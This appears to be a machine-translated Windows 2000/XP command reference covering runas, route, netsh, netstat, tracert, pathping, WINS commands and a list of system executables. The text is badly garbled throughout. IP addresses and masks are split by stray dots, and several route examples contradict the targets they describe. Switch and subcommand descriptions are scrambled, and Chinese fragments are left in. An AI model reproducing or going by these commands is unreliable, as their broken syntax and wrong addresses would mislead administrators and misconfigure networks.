/ Smartcard credentials that are provided by the smart card. .
/showtrustlevels 。.
Lists / trustlevel switch items. .
/trustlevel 。.
Specify where the application is running authorized level. Use / showtrustlevels view the available trust levels. .
/user:UserAccountName 。.
Run program specified in his user account name. The format of the user account should be user @ domain or domain \ user. .
The program.
Designated to use the / user account to run specified program or command. .
/? 。.
Displays help at the command prompt. .
Comments.
Administrators can use a limited account permission for routine, non-managerial tasks, and only in the implementation of specific management tasks, before permission to use a larger account. Without logging off and log back on to complete this task, you can use the general account to log on, and then use the runas command to run the tools need for greater rights. .
For an example of using the runas command, see the "related topics".
Although the Administrator account using runas usually, but not limited to Administrator account. Any user who has multiple accounts can use alternate credentials, use the runas run the program, MMC console, or "Control Panel" item. .
If you want to use the Administrator account on your computer, for/user:, type the following: one of the parameters.
/ User: AdministratorAccountName @ ComputerName. .
/user:ComputerName\AdministratorAccountName。.
If you want to use this command as a domain administrator, type one of the following parameters:. .
/user:AdministratorAccountName@DomainName。.
/ User: DomainName \ AdministratorAccountName. .
The runas command allows you to run programs (*. .exe), saved MMC consoles (*. .msc), programs and saved MMC console shortcut and "Control Panel". As the other groups (such as "Users" or "Power Users" group) when you log on to your computer, you can run as administrator.
Can use the runas command to start any program, MMC controller or "Control Panel" item. As long as the appropriate user account and password information, user accounts have the ability to log on to the computer and the program, MMC console, "Control Panel" entry in the system and the user accounts are available. .
The runas command allows you to manage other domains in the server (running the tools on your computer and you want to manage servers in different domains).
If you try to boot from a network location using the runas program, MMC console, or "Control Panel" item, may be because the credentials used to connect the network share with different credentials used to start the process failed. The latter's credentials may not be able to access the same network share. .
Some items, such as "printer" folder and desktop items, indirectly by Windows 2000 open, but you cannot use the runas command to start.
If the runas command fails, you may not run the RunAs service or user account is invalid. To check the status of RunAs service, in the "Computer Management" click "Services and Applications", then click "services." To test the user account, try to use the appropriate domain account to log on. .
Paradigm.
To the local computer as an administrator starts an instance of Windows 2000 command prompt, type:. .
runas /user:localmachinename\administrator cmd 。.
When prompted, type the administrator password. .
To use the name as a domain administrator account companydomain\domainadmin start "computer management" is an instance of the snap-in, type: runas/user: companydomain\domainadmin "mmc%windir%\system32\compmgmt. .msc".
When prompted, type the account password. .
To use the named domain. .microsoft .com domain., by the domain administrator account user instance starts "Notepad", type:.
runas / user: user @ domain. . Microsoft. . Com "notepad my_file.. Txt". .
When prompted, type the account password.
To start a command prompt window, saved MMC console, Control Panel items or of any other place an instance of the server program, type:. .
runas /netonly /user:domain\username “command” 。.
domain \ username must have sufficient user rights management server. When prompted, type the account password. .
19。.Route 。.
In the local IP routing table display and modify the entries. Use the route without parameters to display help. .
Syntax.
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]]. .
Parameter.
-F. .
Clear all is not a primary route (netmask 255. .255. .255. .255 route), the loopback network route (target = 127. .0 .0 .0.., netmask 255. .255. .255. .0 routing) or multicast routing (target = 224. .0 .0 .0.., netmask 240. .0 .0 .0.. routing) entries in the routing table. If it is one of the commands (such as add, change, or delete), the table before running the command to clear.
-P. .
And add the command to use when the specified route is added to the registry and whenever the TCP/IP protocol is started to initialize the IP routing table. By default, when you start a TCP/IP protocol does not save the added route. And when used with the print command, display persistent route list. All other commands are ignored for this parameter. Permanent route is stored in the registry location is HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters \ PersistentRoutes. .
Command 。.
Designated to run the command. The following table lists valid command. Command purposes. .
Add adds a route.
change to change the existing route. .
Delete Deletes a route.
print print routing. .
Destination 。.
Designated route network destination address. IP destination address may be a network address (network address which the host address bits set to 0), is the IP address for the host route for the default route 0. .0. .0. .0. .
mask subnetmask 。.
Specify the target address associated with the network's subnet mask (also known as the subnet mask). Subnet mask for the IP network address can be an appropriate subnet mask for the host route is 255. .255. .255. .255, For the default route is 0. .0. .0. .0. If omitted, use the subnet mask 255. .255. .255. .255. Since the definition of routing destination address and subnet mask the relationship between the destination address can not be more than its corresponding subnet mask details.In other words, if the subnet mask is 0, then the destination address of the corresponding bit is not set to 1.
Gateway. .
To specify more than by the network destination and subnet mask defines the available address set to the previous or next-hop IP addresses. For locally attached subnet routes, the gateway address is allocated to connected subnet IP address of the interface. You want to go through one or more routers is only available to remote routing, the gateway address is assigned to a neighboring router, you can directly reach the IP address.
metric Metric. .
For the route specifies an integer cost metric (ranging from 1 to 9999) for the route, which is used by more than one routing table, select a packet being forwarded most closely match the destination address. The selected route with the least number of hops. Metric that reflects the number of hops, the path to the path of speed, reliability, throughput, and manage property path.
if Interface. .
The specified target can reach the interface index of the interface. Use the route print command to display interfaces and their corresponding interface index of the list. The index for the interface, you can use the decimal or hexadecimal values. For hexadecimal values to hexadecimal number preceded by 0 x. Ignored if parameter, the interface determines the gateway address.
/?. .
Displays help at the command prompt.
Note. .
Routing table hops a larger value is due to allow TCP/IP according to each LAN interface's IP address, subnet mask, and default gateway is configured to automatically determine the route table metric. The default start automatic determination of the interface metric to determine the speed of each interface, the adjustment for each interface in the routing metric, the fastest interface creates a route with the lowest metric. To delete a great number of hops in each LAN connection of the TCP/IP protocol is disabled in the advanced properties of the automatic determination of the interface metric.
If the systemroot \ System32 \ Drivers \ Etc folder on a local network file exists in the appropriate entry, the name can be used for Destination.As long as the name of the domain name system by "" (DNS) queries the standard host name resolution techniques into an IP address, it can be used to Gateway, DNS queries stored in the systemroot\System32\Drivers\Etc folder under the local hosts file, and NetBIOS name resolution.
If it is print or delete command, you can ignore the Gateway parameter, use the wildcard character to represent the target and the gateway. Destination of the value can be by the asterisk (*) wildcard specified. If the specified target contains an asterisk (*) or question mark (?), It is seen as a wildcard, only to print or delete the matching target route. Asterisk on behalf of any one sequence of characters, question mark on behalf of any of the characters. For example, 10. .*. .1, 192. .168. .*, 127. .* And * 224 * is the effective use of the asterisk wildcard character.
Using an invalid target and the subnet mask (network mask) value combination will show "Route: bad gateway address netmask" error message. Targets one or more set to 1, and its corresponding bit in the subnet mask is set to 0, this error occurs. Can be expressed in binary notation by objective and subnet mask to check the situation. Subnet mask in binary notation, including that the target network address part of a series of 1 and that the target host address part of a series of 0 in two parts.View the destination to determine if the destination host address portion (the subnet mask defined) are some of the bits is set to 1.
Only Windows NT 4. .0, Windows 2000, Windows Millennium Edition and Windows XP's route command support-p parameter. Windows 95 or Windows 98 the route command does not support the argument. .
Only when the Internet Protocol (TCP/IP) Protocol in the network connection is installed as a network adapter property of the component, the command is available.
Example. .
To display the IP routing table, type:.
route print. .
To display the IP routing table to 10. The route starts, type:.
route print 10. .*. .
To add a default gateway address is 192. .168. .12. .1 default route, type:.
route add 0. .0. .0. .0 Mask 0. .0. .0. .0 192. .168. .12. .1. .
To add a target is 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0., the next-hop address is 10. .0 .1 .27.. routing, type:.
route add 10. .41. .0. .0 Mask 255. .255. .0. .0 10. .27. .0. .1. .
To add a target is 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0., the next-hop address is 10. .27. .0 .1 permanent routing., type:.
route-p add 10. .41. .0. .0 Mask 255. .255. .0. .0 10. .27. .0. .1. .
To add a target is 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0., the next-hop address is 10. .0 .1 .27.., the number of hops to route 7, type:.
route add 10. .41. .0. .0 Mask 255. .255. .0. .0 10. .27. .0. .1 Metric 7. .
To add a target is 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0., the next-hop address is 10. .0 .1 .27.., the interface index for the routing of 0 × 3, type:.
route add 10. .41. .0. .0 Mask 255. .255. .0. .0 10. .27. .0. .1 If 0 × 3. .
To delete a target is 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0. routing, type:.
route delete 10. .41. .0. .0 Mask 255. .255. .0. .0. .
To delete an IP routing table to 10. All of the routes start, type:.
route delete 10. .*. .
To set the target of 10. .0 .0 .41.., the subnet mask is 255. .255. .0 .0. Routing next-hop address from 10. .0 .1 .27... changed to 10. .0. .25 .27, type:.
route change 10. .41. .0. .0 Mask 255. .255. .0. .0 10. .27. .0. .25. .
How to change the cmd windowsserver ip address ■ ■ ■-> Windows Server 2003 2k/.
In the command line to change ip address. .
Windows2000 is now more popular operating system, its function is very powerful, it can even be the same as the Unix command line to do a lot of work. One of the following at the command line to change the ip address of the method, it is hereby introduced (in brackets is the number of comments, boldface is artificial entry).
C: \> ipconfig (first look with the ipconfig command to change this before the ip address). .
Windows 2000 IP Configuration。.
Ethernet adapter Local Area Connection:. .
Connection-specific DNS Suffix 。. :。.
IP Address. .: 10. .1. .1. .94 (Local connection to change before the ip). .
Subnet Mask 。. : .255.255. .255. .0.
Default Gateway. .: 10. .1. .1. .254. .
C:\ > netsh (enter setup mode).
netsh> interface. .
interface>ip 。.
interface ip> set address "Local Area Connection" static 10. .1. .1. .111 255. .255. .255. .0 10. .1. .1. .254. .
interface ip>exit。.
The set command above detailed explanation is as follows:. .
Set address – sets the specified interface of the IP address and default gateway.
set dns - set the DNS server mode and addresses. .
Set wins – set the WINS server mode and address.
Networks commonly used commands:. .
IPCONFIG 。.
C: \> ipconfig (then use the ipconfig command to change a look to confirm whether the change successfully). .
Windows 2000 IP Configuration。.
Ethernet adapter Local Area Connection:. .
Connection-specific DNS Suffix 。.
IP Address. .: 10. .1. .1. .111. .
Subnet Mask 。. : .255.255. .255. .0.
Default Gateway. .: 10. .1. .1. .254. .
The command list.
- Move the layer of context level. .
? – Displays a list of commands.
aaaa - Changes to the `aaaa 'context. .
Abort-drop in offline mode changes.
add - add a configuration item to the project list. .
Alias – add an alias.
bye - Exits the program. .
Commit – presented in offline mode changes.
delete - delete a list in the project configuration items. .
Dhcp – change to the dhcp ' context would.
dump - Displays a configuration script. .
Exec – run a script file.
exit - exit the program. .
Help – displays a list of commands.
interface - Changes to the `interface 'context. .
Offline – sets the current mode to offline.
online - to set the current model line. .
Popd-POPs a context from the stack.
pushd - Pushes current context put into the stack. .
Quit – exit the program.
ras - Changes to the `ras' context. .
Routing – change to the routing context would '.
set - Updates configuration settings. .
Show-show info.
unalias - Delete an alias. .
Changes to wins – would wins ' context.
Fast switching IP addresses are unique skill. .
In the course of encounter in a different segment of network debugging, you often need to be in several different IP addresses. Win2000 operating systems change IP addresses than Win98 is more convenient because over IP address do not need to restart your computer, but also into the network properties settings. There is no easy way, such as using the mouse double-click shortcut to implement IP address of the switch?.
The answer is yes. In Win2000 using netsh command to achieve this functionality. First, enter the command line mode (in the "Start → Run", type "cmd" to enter command line mode), the prompt, type netsh netsh interface to enter. Int ip access interface, and then type the IP configuration mode, type the dump lists Interface IP configuration information:. .
C:\Documents and Settings\Administrator>netsh 。.
netsh>. .
netsh>int ip 。.
interface ip> dump. .
# ———————————- 。.
# Interface IP Configuration. .
# ———————————- 。.
pushd interface ip. .
# "Local area connection" interface IP configuration (Note: the following display depending on the machine).
set address name = "Local Area Connection" source = static addr = 192. .168. .0. .5 Mask = 255. .255. .255. .0. .
Set address name = "local area connection" gateway = 192. .168. .0.1 gwmetric = .2.
set dns name = "Local Area Connection" source = static addr = 61. .237. .17. .181. .
Add dns name = "local area connection" addr = 211. .97. .168. .129.
add dns name = "Local Area Connection" addr = 211. .98. .4. .1. .
Set wins name = "local area connection" source = static addr = none.
# "Local Area Connection 2" interface IP configuration. .
Set address name = "local area connection 2" source = dhcp.
set dns name = "Local Area Connection 2" source = dhcp. .
Set wins name = "local area connection 2" source = dhcp.
popd. .
# Interface IP configuration is finished.
Fast switching IP addresses are unique skill 2. .
Now we can figure out to use the netsh command to change the IP address, that is, by "set address name = the name of the connection (connection name should be enclosed in quotation marks) source = static addr = IP address subnet mask mask ="..
To the command line mode, try using netsh directly. For example to change the machine's IP address 192. .168. .0. .7, A subnet mask of 255. .255. .255. .0, Can do the following:. .
C:\Documents and Settings\Administrator>netsh 。.
netsh> int ip. .
Interface ip set address name = > "local area connection" source = static addr = 192. .168. .0. .7 mask = 255. .255. .255. .0.
Confirm the changes. .
interface ip>exit 。.
Then ipconfig command to check:. .
C:\Documents and Settings\Administrator>ipconfig 。.
Windows 2000 IP Configuration. .
Ethernet adapter local area connection 2.
Media State. . Cable Disconnected. .
Ethernet adapter local area connection.
Connection-specific DNS Suffix. . . .
IP Address。. 192。.168。.0。.7 。.
Subnet Mask. . 255. .255. .255. .0. .
Default Gateway 。. 192。.168。.0。.2。.
As can be seen from the above shows have been successfully used in the Win2000 command line to change the IP address. In this way change the IP address was not even faster in the graphical interface operation. But then the script we give you a hand, not far from the goal of victory. First, open Notepad, enter the following: int ip. .
Set address name = "local area connection" source = static addr = 192. .168. .0. .7 mask = 255. .255. .255. .0.
Then saved as a file named "7.. Sh" file, put it under the root directory C, and then enter the command line mode, the root directory of the C type "netsh exec 7.. Sh", if no response ah? But then ipconfig look, you will find over the IP address has changed. .
Then use Notepad to write a batch file that is named ".bat" 7. for "netsh exec 7. .sh". For the file in the create a shortcut on the desktop, double-click the shortcut for quick change of the IP address. If you want to quickly .168.192. .5, .0.192. .168. .0. the same network segment as .7 IP address between words, you only need to change "addr" address, but IP address will be changed to as 172. .19. .96. 7, like different segments of the IP address, gateway information on the need to be changed, that is, a line in the script file on the gateway of information:. .
int ip 。.
set address name = "Local Area Connection" source = static addr = 172. .19. .96. .7 Mask = 255. .255. .255. .0. .
Set address name = "local area connection" gateway = 172. .19. .96. .1 gwmetric = 1.
Similarly to the above, save the script file, and then made the implementation of what the batch file, use ipconfig / all command inspection, I learned, including information, including the gateway also changes coming. This is not a quick and easy, IP address to change to change?. .
Use netstat displays connection statistics.
You can use netstat command to display protocol statistics and current TCP / IP connection. netstat-a command will show all connections, and netstat-r display routing table and the active connection. netstat-e command displays Ethernet statistics, and netstat-s shows statistics for each protocol. If you use netstat-n, the address and port number can not be converted into the name. .
Tracert (trace route) is the route tracing utility that is used to determine the IP datagram access destination path. Tracert command uses IP time to live (TTL) field and ICMP error messages to determine from one host to another host on the network routing.
-D specifies the IP address does not resolve the host name. .
-H maximum_hops Specifies the metric to track called target_name host routing.
-J host-list specifies Tracert utility packets used in the path of the router interface to the list. .
-W timeout waiting for the timeout for each time you reply to the specified number of milliseconds.
target_name target host name or IP address. .
Pathping command is a route tracing tool, it will ping and tracert commands, and these two tools are not available in conjunction with other information. Pathping command will send the packet to reach the final destination path for each router, and then the results based on the computer from each hop. Because the command displays the packet in any given router or link, the extent of the loss, so you can easily determine the possible cause network problems which routers or links.
-N Hostnames do not resolve the address into host name. .
-H Maximum hops the search target maximum number of hops.
-G Host-list list of the release of source routing along the route. .
-P Period in ping the number of milliseconds to wait between.
-Q Num_queries the number of queries per hop. .
-W Time-out for each return the number of milliseconds to wait.
-T Layer 2 tag to layer 2 priority tag (for example, for IEEE 802. .1 P) to connect to the data packet and sends it to the path of each network device. This helps to identify not properly configured layer 2 priority of network equipment. -T switch is used to test the quality of service (QoS) connectivity. .
-R RSVP test Che check to determine the path of each router supports "Resource Reservation Protocol (RSVP)," this Protocol allows a host to the data flow to retain a certain amount of bandwidth. The-r switch is used to test the quality of service (QoS) connectivity.
At the command prompt using the DHCP commands interactively. .
Open a command prompt.
Type netsh. .
At the netsh > (Netshell) command prompt, type "dhcp".
In the dhcp> (DHCP auxiliary program) command prompt, you want to manage the server, type server \ \ servername or server ip_address. .
Once you have the right to administer the server successfully connect, you will see a "you can on server servername for read and write access".
Once connected, you can use any support for DHCP Netshell command. Type /? Or help to display the DHCP directly or as a sub-command menu options display, type the list out with DHCP for use with all Netshell subcommand. .
Route command.
routing ip add / delete / set / show interface in the specified interface to add, delete, or display of conventional IP routing configuration settings. .
Routing ip add/delete/set/show filter to the specified interface adds, deletes, configures, or displays the IP packet filters.
routing ip add / delete / show boundary in the specified interface to add, delete or display the multicast boundary setting. .
Routing ip add/set ipiptunnel add or configure IP-in-IP interfaces.
routing ip add / delete / set / show rtmroute add, configure or display the routing table does not continue routing manager. .
Routing ip add/delete/set/show persistentroute adds, deletes, configures, or displays a continuous route.
routing ip add / delete / set / show preferenceforprotocol add, delete, configure or display the priority of routing protocols. .
Routing ip add/delete/set/show scope to add, delete, or display the multicast scope.
routing ip set / show loglevel configuration or display the global IP record levels. .
Routing ip show all IP helper displays the Netsh utility sub environment.
routing ip show protocol shows all running IP routing protocols. .
Routing ip show mfe displays multicast forwarding entries.
routing ip show mfestats display multicast forwarding the survey. .
Routing ip show boundarystats displays IP multicast boundaries.
routing ip show r *** estinations Display Routing Table Manager Routing table target. .
Routing ip show rtmroutes displays route table manager in the routing table.
routing ip nat set / show global configuration or display the global network address translation (NAT) settings. .
Routing ip nat add/delete/set/show interface adds, deletes, configures, or displays the specified interface of the NAT settings.
routing ip nat add / delete addressrange interfaces in the NAT pool of public addresses to add or delete an address range. .
Routing ip nat add/delete addressmapping adds or deletes a NAT address mapping.
routing ip nat add / delete portmapping add or remove NAT port mapping. .
Routing ip autodhcp set/show global configures or displays global DHCP allocator parameters.
routing ip autodhcp set / show interface interface configuration or display the specified set DHCP allocator. .
Routing ip autodhcp add/delete exclusion in a range of addresses that the DHCP allocator in Add or remove an exclusion range.
routing ip dnsproxy set / show global configuration or display the global DNS proxy parameters. .
Routing ip dnsproxy set/show interface configures or displays the specified interface of the DNS proxy parameters.
routing ip igmp set / show global IGMP configuration or display the global settings. .
Routing ip igmp add/delete/set/show interface in the specified interface adds, deletes, configures, or displays IGMP.
routing ip igmp add / delete staticgroup add or delete the specified interface, the static multicast group. .
Routing ip igmp show grouptable shows the IGMP hosts group table.
routing ip igmp show ifstats show IGMP statistics for each interface. .
Routing ip igmp show iftable shows each interface IGMP host groups.
routing ip igmp show proxygrouptable display IGMP proxy interface IGMP group table. .
Routing ip igmp show rasgrouptable displays the remote access server uses the Internet interface of the Group of tables.
routing ip ospf set / show global show global OSPF configuration or settings. .
Routing ip ospf add/delete/set/show interface in the specified interface adds, deletes, configures, or displays OSPF.
routing ip ospf add / delete / set / show area to add, delete, configure or display OSPF area. .
Routing ip ospf add/delete/show range in the specified OSPF area adds, deletes, configures, or displays of coverage.
routing ip ospf add / delete / set / show virtif add, delete, configure or display OSPF virtual interface. .
Routing ip ospf add/delete/show neighbor adds, deletes, configures, or displays OSPF neighbors.
routing ip ospf add / delete / show protofilter add, delete, configure or display the routing OSPF external routing information sources. .
Routing ip ospf add/delete/show routefilter adds, deletes, configures, or displays OSPF route filter external routes.
routing ip ospf show areastats display OSPF area statistics. .
Routing ip ospf show lsdb Displays OSPF link state database.
routing ip ospf show virtifstats display OSPF virtual link statistics. .
Routing ip set global configuration "relay DHCP relay agent" in the global settings.
routing ip relay add / delete / set interface in the specified interface to add, delete, or configure the "DHCP Relay Agent" setting. .
Routing ip relay add/delete dhcpserver in DHCP server address list in the Add or remove the IP address of the DHCP server.
routing ip relay show ifbinding display interface IP address binding. .
Routing ip relay show ifconfig show ifstats "DHCP relay agent" in the configuration.
routing ip relay show ifstats display DHCP statistics for each interface. .
Routing ip rip set/show global configuration IP RIP global settings.
routing ip rip add / delete / set / show interface in the specified IP interface to add or configure the RIP settings. .
Routing ip rip add/delete peerfilter adds or removes a RIP peer filters.
routing ip rip add / delete acceptfilter receiving the routing list to add or remove RIP routing filter. .
Routing ip rip add/delete announcefilter announced the routing list, add or remove RIP route filters.
routing ip rip add / delete / show neighbor add or remove RIP neighbors. .
Routing ip rip set/show flags for a specified interface IP RIP is configured on the advanced settings.
routing ip rip show globalstats display global RIP parameters. .
Routing ip rip show ifbinding displays IP address bindings for an interface.
routing ip rip show ifstats display RIP statistics for each interface. .
IPX netsh routing commands.
routing ipx add / set staticroute in the IPX routing table to add or configure a static IPX route. .
Add/set ipx routing staticservice in the SAP service table to add or configure a static SAP services.
routing ipx add / set filter on the specified interface to add or configure the IPX packet filters. .
Add/ipx routing interface in the set demand-dial interfaces enable IPX routing, or IPX settings configured on the interface.
routing ipx set global configuration global IPX routing settings. .
Ipx rip routing add/set filter to add and configure RIP route filters.
routing ipx rip set global configuration global IPX's RIP settings. .
Ipx rip routing set interface on a specified interface to configure IPX RIP settings.
routing ipx sap add / set filter to add or configure the SAP service filters. .
Ipx sap routing set global configuration global IPX SAP settings.
routing ipx sap set interface configuration in the specified IPX's SAP interface settings. .
Ipx routing netbios add nbname static IPX NETBIOS name to the NetBIOS name table.
routing ipx netbios set interface to configure the specified interface, the IPX-based NetBIOS settings. .
NetSh commands for WINS.
WINS list lists all available commands. .
Dump the WINS server configuration is dumped to the command output.
add name registered in the name of the server. For more information, please enter add name /?. .
Add partner adds a replication partner to the server. For more information, please enter add partner/?.
add pngserver Add the current server's Persona Non Grata list of servers. For more information, please enter the add pngserver /?. .
Check database check database consistency. For more information, please enter check database/?.
check name check a WINS server, the name of the record list. For more information, please enter the check name /?. .
Check version number consistency version check. For more information, please enter check version/?.
delete name removed from the server database, the name has been registered. For more information, please enter the delete name /?. .
Delete partner from the list to delete a replication partner. For more information, please enter delete partner/?.
delete records deleted from the server or logical delete all records or a group of records. For more information, please enter the delete records /?. .
Delete list to delete the owner and its owners. For more information, please enter delete owners/?.
delete pngserver removed from the list all or selected Persona Non Grata servers. For more information, please enter the delete pngserver /?. .
Init backup to back up the WINS database. For more information, please enter backup/? init.
init import file to import data from Lmhosts. For more information, please enter the init import /?. .
Init pull start "La" triggers, and sending to another WINS server. For more information, please enter init pull/?.
init pullrange start another WINS server, a group of records, and read the record. For more information, please enter the init pullrange /?. .
Init push start "pushing" triggers, and sending to another WINS server. For more information, please enter init push/?.
init replicate replicated database with replication partners. For more information, please enter the init replicate /?. .
Init restore to restore the database from the file. For more information, please enter init restore/?.
init scavenge the WINS database, remove the server. For more information, please enter the init scavenge /?. .
Init search search server, the WINS database. For more information, please enter a search/? init.
reset statistics reset the server statistics. For more information, please enter the reset statistics /?. .
Set automatic autopartnerconfig set server replication partner configuration information. For more information, please enter set autopartnerconfig/?.
set backuppath set the server backup parameters. For more information, please enter the set backuppath /?. .
Setting the server's set burstparam burst handling parameters. For more information, please enter set autopartnerconfig/?.
set logparam set database and event logging options. For more information, please enter the set logparam /?. .
Setting the server's set migrateflag migration flag. For more information, please enter set migrateflag/?.
set namerecord interval and set the server timeout. For more information, please enter the set namerecord /?. .
Setting the server's set periodicdbchecking regularly check parameters for the database. For more information, please enter set periodicdbchecking/?.
set pullpartnerconfig set designated "pull" configuration parameters partners. For more information, please enter the set pullpartnerconfig /?. .
Sets a specified set pushpartnerconfig "pushing" partner configuring parameters. For more information, please enter set pushpartnerconfig/?.
set pullparam set the default server "pull" parameter. For more information, please enter the set pullparam /?. .
Set sets the server default pushparam "pushing" parameter. For more information, please enter set pushparam/?.
set replicateflag set the server copy flag. For more information, please enter the set replicateflag /?. .
Set startversion Sets the database ID of the starting version. For more information, please enter set startversion/?.
show browser shows all the activities the domain master browser [1Bh] records. For more information, please enter the show browser /?. .
Show database displays the specified server's database and records. For more information, please enter the show database/?.
show info display configuration information. For more information, please enter the show info /?. .
Display the server name in the show detailed information for a particular record. For more information, please enter the name/show?.
show partner shows the server "pull" or "push" (or "push-pull") partner. For more information, please enter the show partner /?. .
Show default partner configuring partnerproperties display. For more information, please enter show partnerproperties/?.
show pullpartnerconfig Show "pull" partner configuration information. For more information, please enter the show pullpartnerconfig /?. .
Show pushpartnerconfig show "pushing" partner configuration information. For more information, please enter show pushpartnerconfig/?.
show reccount 显示指定服务器所拥有的记录数量。详细信息，请输入 show reccount /? 。.
Show recbyversion displays the specified server. For more information, please enter show recbyversion/?.
show server show the currently selected server. For more information, please enter the show server /?. .
Show statistics show WINS server statistics. For more information, please enter show statistics/?.
show version display the current version of the WINS server, the counter value. For more information, please enter the show version /?. .
Show versionmap displays the owner ID to "maximum version number mapping". For more information, please enter show versionmap/?.
Interface command. .
Interface set/show interface enabled, disabled, connect, disconnect, and display the configuration for demand-dial interface.
interface set / show credentials in the demand-dial interface to configure or display the user name, password and domain name. .
Win2000 command complete.
accwiz. . Exe> Accessibility Wizard for walking you through setting up your machine for your mobility needs. . Aids Wizard. .
acsetups。.exe > ACS setup DCOM server executable 。.
actmovie. . Exe> Direct Show setup tool to install instruments directly displayed. .
append。.exe > Allows programs to open data in specified directories as if they were in the current directory。. Directory of data.
arp. . Exe> NETWORK Display and modify IP - Hardware addresses display and change the computer's IP and hardware physical address corresponding to the list. .
At. a .exe > AT scheduling utility is also included with the task to run UNIX programs.
atmadm. . Exe> Displays statistics for ATM call manager. . ATM Call Manager Statistics. .
Attrib. .exe and modify > Display attributes for files and folders to display and change the file and folder properties.
autochk. . Exe> Used to check and repair Windows File Systems to check and repair the file system. .
Autoconv. .exe file system > Automates the conversion during reboots during the startup process automatic conversion system.
autofmt. . Exe> Automates the file format process during reboots formatting process in the startup process. .
Autolfn. formatting Used for .exe > long file names using a long file name format.
bootok. . Exe> Boot acceptance application for registry bootvrfy. . Exe> Bootvrfy. . Exe, a program included in Windows 2000 that notifies the system that startup was successful. . Bootvrfy. .exe can be run on a local or remote computer。. Bulletin started successfully.
cacls. . Exe> Displays or modifies access control lists (ACLs) of files. . Display and edit ACL. .
Calc. Windows .exe Calculators > calculator.
cdplayer. . Exe> Windows CD Player CD player. .
> Change .exe change. {User | Port | Logon} and the Terminal Server-related queries.
charmap. . Exe> Character Map Character Map. .
Chglogon. Same as .exe > Change using the "Logon" to start or stop the session record.
chgport. . Exe> Same as using "Change Port" to change the port (Terminal Services). .
Chgusr. Same as .exe > using the "Change User" change user (Terminal Services).
chkdsk. . Exe> Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter disk testing procedures. .
Chkntfs. Same as .exe > using chkdsk but for NTFS NTFS disk utility.
cidaemon. . Exe> Component of Ci Filer Service component Ci document service. .
cipher。.exe > Displays or alters the encryption of directories [files] on NTFS partitions。. In NTFS on displays or alters the contents of an encrypted file or directory.
cisvc. . Exe> Content Index - It's the content indexing service for I index the content. .
Ckcnv. Convertor transform .exe > Cookie Cookie.
cleanmgr. . Exe> Disk Cleanup, popular with Windows 98 Disk Cleanup. .
Cliconfg. SQL Server .exe > Client Network Utility SQL client network utility clipbrd. .exe > Local Clipboard viewer will allow for you to connect to other clipboards ClipBook Viewer.
clipsrv. . Exe> Start the clipboard Server runs Clipboard services. .
Clspack. .exe > CLSPACK used to create a file listing of system packages build system file list cleaning.
cluster. . Exe> Display a cluster in a domain shows the domain of the cluster. .
_Cmd_. .exe command prompt > Famous nothing!.
cmdl32. . Exe> Connection Manager Auto-Download Connection Manager automatically downloaded. .
Cmmgr32. .exe > Connection Manager connection manager.
cmmon32. . Exe> Connection Manager Monitor Connection Manager Monitor. .
Cmstp. Connection Manager .exe > Profile Manager in the Connection Manager profile installer.
comclust. . Exe> about cluster server cluster. .
comp。.exe > ComClust Add, Remove, or Join a cluster。. Compare two files and file sets content *.
compact. . Exe> Displays or alters the compression of files on NTFS partitions. . To display or change the NTFS partition file compression status. .
Conime. Console .exe > IME IME console.
control. . Exe> Starts the control panel control panel. .
Convert. Convert File .exe > System conversion to NTFS file system to NTFS.
convlog. . Exe> Converts MS IIS log files convert IIS log file format to NCSA format. .
Cprofile. converts .exe > Copy profiles display mode.
cscript. . Exe> MS Windows Scripts Host Version 5. .1 Version than the host. .
Csrss. > Client Server Runtime .exe Process client server Runtime process.
csvde. . Exe> Comma Separated Variable Import / Export Utility to format conversion. .
Dbgtrace. > Terminal Server .exe and..
dcomcnfg. . Exe> Display the current DCOM configuration. . DCOM Configuration Properties. .
dcphelp。.exe > ? 。.
dcpromo. . Exe> Promote a domain controller to ADSI AD Installation Wizard. .
Ddeshare. .exe DDE shares > Display on local or remote computer DDE shares.
ddmprxy. . Exe>. .
debug。.exe > Runs Debug, a program testing and editing tool。. Is DEBUG!.
dfrgfat. . Exe> Defrag FAT file system FAT partition Disk Defragmenter. .
Dfrgntfs. .exe file system > Defrag NTFS NTFS partition Disk Defragmenter.
dfs_cmd_. . Exe> configures a Dfs tree configure a DFS tree. .
Dfsinit. .exe File > Distributed System Initialization distributed file system initialization.
dfssvc. . Exe> Distributed File System Server Distributed File System servers. .
MS diantz. .exe > Cabinet Maker to make the cab file.
diskperf. . Exe> Starts physical Disk Performance counters disk performance counters. .
dllhost。.exe > dllhost is used on all versions of Windows 2000。. dllhost is the hedost process for all COM+ applications。. All the COM + application software is the primary process.
dllhst3g. . Exe>. .
Network: common commands.
dmadmin. . Exe> Disk Manager Service disk management services. .
Dmremote. .exe Part of disk management > disk management part of the service.
dns. . Exe> DNS Applications DNS. .
Doskey. recalls Windows .exe > command lines and creates macros create a macro on the command line.
dosx. . Exe> DOS Extender DOS extension. .
Dplaysvr. > Direct Play Helper .exe to run directly.
drwatson. . Exe> Dr Watson for 2000 Fault Detector Dr Watson error detection. .
Drwtsn32. Dr Watson for .exe > 2000 viewer and display configuration manager Dr. Watson and configuration management.
dtcsetup. . Exe> Installs MDTC. .
Dvdplay. .exe Windows 2000 > DVD player DVD playback.
dxdiag. . Exe> Direct-X Diagnostics Direct-X diagnostic tool. .
edlin。.exe > line-oriented text editor。. The command line in a text editor (long!).
edlin. . Exe> line-oriented text editor. . Command line text editor (ah long history!). .
.Exe > esentutl. MS MS database tools Database Utility.
eudcedit. . Exe> Private character editor Ture Type Characters and procedures. .
Eventvwr. .exe Windows 2000 Event Viewer > Event Viewer.
evnt_cmd_. . Exe> Event to trap translator; Configuration tool. .
evntwin。.exe > Event to trap translator setup 。.
exe2bin. . Exe> Converts EXE to binary format converted EXE file to binary. .
> Expand expand. .exe Files that have been compressed extract.
extrac32. . Exe> CAB File extraction utility solution CAB tool. .
fastopen。.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access。. Quick access to the hard disk in memory.
faxcover. . Exe> Fax Cover page editor fax cover editor. .
Faxqueue. .exe > Display Fax Queue displays the fax queue.
